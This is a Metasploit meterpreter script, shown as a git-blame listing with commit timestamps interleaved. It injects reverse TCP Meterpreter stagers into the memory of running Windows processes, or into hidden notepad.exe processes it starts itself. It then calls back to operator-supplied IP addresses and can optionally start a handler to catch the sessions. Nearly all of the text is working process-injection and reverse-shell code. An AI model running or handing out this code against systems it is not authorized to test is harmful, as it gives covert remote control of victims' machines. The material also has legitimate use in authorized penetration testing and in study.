2014-09-16 21:41:14 +00:00
|
|
|
##
|
|
|
|
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
2018-02-13 11:30:05 +00:00
|
|
|
# If you'd like to improve this script, please try to port it as a post
|
2014-09-16 21:41:14 +00:00
|
|
|
# module instead. Thank you.
|
|
|
|
##
|
|
|
|
|
|
|
|
|
2010-10-28 00:36:39 +00:00
|
|
|
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
|
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
################## Variable Declarations ##################
|
|
|
|
|
|
|
|
@client = client
|
|
|
|
lhost = Rex::Socket.source_address("1.2.3.4")
|
|
|
|
lport = 4444
|
|
|
|
lhost = "127.0.0.1"
|
|
|
|
pid = nil
|
|
|
|
multi_ip = nil
|
|
|
|
multi_pid = []
|
|
|
|
payload_type = "windows/meterpreter/reverse_tcp"
|
|
|
|
start_handler = nil
|
|
|
|
@exec_opts = Rex::Parser::Arguments.new(
|
2013-09-30 18:47:53 +00:00
|
|
|
"-h" => [ false, "Help menu." ],
|
2015-06-12 20:59:15 +00:00
|
|
|
"-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4444)."],
|
|
|
|
"-m" => [ false, "Start exploit/multi/handler for return connection."],
|
2017-08-06 22:57:29 +00:00
|
|
|
"-P" => [ true, "Specify reverse connection Meterpreter payload. Default: windows/meterpreter/reverse_tcp"],
|
|
|
|
"-I" => [ true, "Provide multiple IP addresses for connections separated by comma."],
|
|
|
|
"-d" => [ true, "Provide multiple PID for connections separated by comma one per IP."]
|
2010-10-28 00:36:39 +00:00
|
|
|
)
|
|
|
|
meter_type = client.platform
|
|
|
|
|
|
|
|
################## Function Declarations ##################
|
|
|
|
|
|
|
|
# Usage Message Function
|
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
def usage
|
2015-06-12 20:59:15 +00:00
|
|
|
print_line "Meterpreter script for injecting a reverce tcp Meterpreter payload"
|
|
|
|
print_line "in to memory of multiple PIDs. If none is provided, a notepad process"
|
|
|
|
print_line "will be created and a Meterpreter payload will be injected in to each."
|
2013-09-30 18:47:53 +00:00
|
|
|
print_line(@exec_opts.usage)
|
|
|
|
raise Rex::Script::Completed
|
2010-10-28 00:36:39 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# Wrong Meterpreter Version Message Function
|
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
def wrong_meter_version(meter = meter_type)
|
2015-06-12 20:59:15 +00:00
|
|
|
print_error("#{meter} version of Meterpreter is not supported with this script!")
|
2013-09-30 18:47:53 +00:00
|
|
|
raise Rex::Script::Completed
|
2010-10-28 00:36:39 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# Function for injecting payload in to a given PID
|
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
def inject(target_pid, payload_to_inject)
|
2013-09-30 18:47:53 +00:00
|
|
|
print_status("Injecting meterpreter into process ID #{target_pid}")
|
|
|
|
begin
|
|
|
|
host_process = @client.sys.process.open(target_pid.to_i, PROCESS_ALL_ACCESS)
|
|
|
|
raw = payload_to_inject.generate
|
|
|
|
mem = host_process.memory.allocate(raw.length + (raw.length % 1024))
|
2010-10-28 00:36:39 +00:00
|
|
|
|
2013-09-30 18:47:53 +00:00
|
|
|
print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")
|
|
|
|
print_status("Writing the stager into memory...")
|
|
|
|
host_process.memory.write(mem, raw)
|
|
|
|
host_process.thread.create(mem, 0)
|
|
|
|
print_good("Successfully injected Meterpreter in to process: #{target_pid}")
|
|
|
|
rescue::Exception => e
|
2015-06-12 20:59:15 +00:00
|
|
|
print_error("Failed to Inject payload to #{target_pid}!")
|
2013-09-30 18:47:53 +00:00
|
|
|
print_error(e)
|
|
|
|
end
|
2010-10-28 00:36:39 +00:00
|
|
|
end
|
|
|
|
|
2015-06-12 20:59:15 +00:00
|
|
|
# Function for creation of connection handler
|
2010-10-28 00:36:39 +00:00
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
def create_multi_handler(payload_to_inject)
|
2013-09-30 18:47:53 +00:00
|
|
|
mul = @client.framework.exploits.create("multi/handler")
|
|
|
|
mul.share_datastore(payload_to_inject.datastore)
|
|
|
|
mul.datastore['WORKSPACE'] = @client.workspace
|
|
|
|
mul.datastore['PAYLOAD'] = payload_to_inject
|
|
|
|
mul.datastore['EXITFUNC'] = 'process'
|
|
|
|
mul.datastore['ExitOnSession'] = true
|
|
|
|
print_status("Running payload handler")
|
|
|
|
mul.exploit_simple(
|
|
|
|
'Payload' => mul.datastore['PAYLOAD'],
|
|
|
|
'RunAsJob' => true
|
|
|
|
)
|
2010-10-28 00:36:39 +00:00
|
|
|
|
|
|
|
end
|
|
|
|
|
2015-06-12 20:59:15 +00:00
|
|
|
# Function for creating the payload
|
2010-10-28 00:36:39 +00:00
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
def create_payload(payload_type,lhost,lport)
|
2013-09-30 18:47:53 +00:00
|
|
|
print_status("Creating a reverse meterpreter stager: LHOST=#{lhost} LPORT=#{lport}")
|
|
|
|
payload = payload_type
|
|
|
|
pay = client.framework.payloads.create(payload)
|
|
|
|
pay.datastore['LHOST'] = lhost
|
|
|
|
pay.datastore['LPORT'] = lport
|
|
|
|
return pay
|
2010-10-28 00:36:39 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# Function starting notepad.exe process
|
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
def start_proc()
|
2015-06-12 20:59:15 +00:00
|
|
|
print_good("Starting Notepad.exe to house Meterpreter session.")
|
2013-09-30 18:47:53 +00:00
|
|
|
proc = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true })
|
|
|
|
print_good("Process created with pid #{proc.pid}")
|
|
|
|
return proc.pid
|
2010-10-28 00:36:39 +00:00
|
|
|
end
|
|
|
|
################## Main ##################
|
|
|
|
@exec_opts.parse(args) { |opt, idx, val|
|
2013-09-30 18:47:53 +00:00
|
|
|
case opt
|
|
|
|
when "-h"
|
|
|
|
usage
|
|
|
|
when "-p"
|
|
|
|
lport = val.to_i
|
|
|
|
when "-m"
|
|
|
|
start_handler = true
|
2017-08-06 22:57:29 +00:00
|
|
|
when "-P"
|
2013-09-30 18:47:53 +00:00
|
|
|
payload_type = val
|
2017-08-06 22:57:29 +00:00
|
|
|
when "-I"
|
2013-09-30 18:47:53 +00:00
|
|
|
multi_ip = val.split(",")
|
2017-08-06 22:57:29 +00:00
|
|
|
when "-d"
|
2013-09-30 18:47:53 +00:00
|
|
|
multi_pid = val.split(",")
|
|
|
|
end
|
2010-10-28 00:36:39 +00:00
|
|
|
}
|
|
|
|
|
2015-06-12 20:59:15 +00:00
|
|
|
# Check for version of Meterpreter
|
2017-04-26 04:31:39 +00:00
|
|
|
wrong_meter_version(meter_type) if meter_type != 'windows'
|
2015-06-12 20:59:15 +00:00
|
|
|
# Create a exploit/multi/handler if desired
|
2010-10-28 00:36:39 +00:00
|
|
|
create_multi_handler(payload_type) if start_handler
|
|
|
|
|
2015-06-12 20:59:15 +00:00
|
|
|
# Check to make sure a PID or program name where provided
|
2010-10-28 00:36:39 +00:00
|
|
|
|
|
|
|
if multi_ip
|
2013-09-30 18:47:53 +00:00
|
|
|
if multi_pid
|
|
|
|
if multi_ip.length == multi_pid.length
|
|
|
|
pid_index = 0
|
|
|
|
multi_ip.each do |i|
|
|
|
|
payload = create_payload(payload_type,i,lport)
|
|
|
|
inject(multi_pid[pid_index],payload)
|
|
|
|
select(nil, nil, nil, 5)
|
|
|
|
pid_index = pid_index + 1
|
|
|
|
end
|
|
|
|
else
|
|
|
|
multi_ip.each do |i|
|
|
|
|
payload = create_payload(payload_type,i,lport)
|
|
|
|
inject(start_proc,payload)
|
|
|
|
select(nil, nil, nil, 2)
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2010-10-28 00:36:39 +00:00
|
|
|
else
|
2013-09-30 18:47:53 +00:00
|
|
|
print_error("You must provide at least one IP!")
|
2010-10-28 00:36:39 +00:00
|
|
|
end
|